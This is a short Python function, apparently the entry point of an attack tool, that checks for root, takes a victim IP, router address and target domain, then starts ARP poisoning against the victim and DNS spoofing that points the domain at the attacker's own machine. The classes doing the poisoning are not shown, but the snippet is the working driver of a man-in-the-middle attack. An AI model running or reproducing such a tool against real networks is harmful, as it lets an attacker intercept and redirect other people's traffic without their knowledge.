def main(args): """Setups and starts dns and arp spoofing""" if os.geteuid(): sys.exit("Hey! Listen! Run as root!") router = args.router or get_router() new_site = args.newsite or socket.gethostbyname(socket.gethostname()) victim = args.victim site = args.site if not site: sys.exit("Please enter site. Example: -s test.com") if not victim: sys.exit("Please enter victim IP. Example: -v 192.168.0.42") poison = Arp(router, victim) poison.setup() poison.start() spoof = Dns(site, new_site) spoof.setup() # This is blocking spoof.start() poison.stop() sys.exit(0)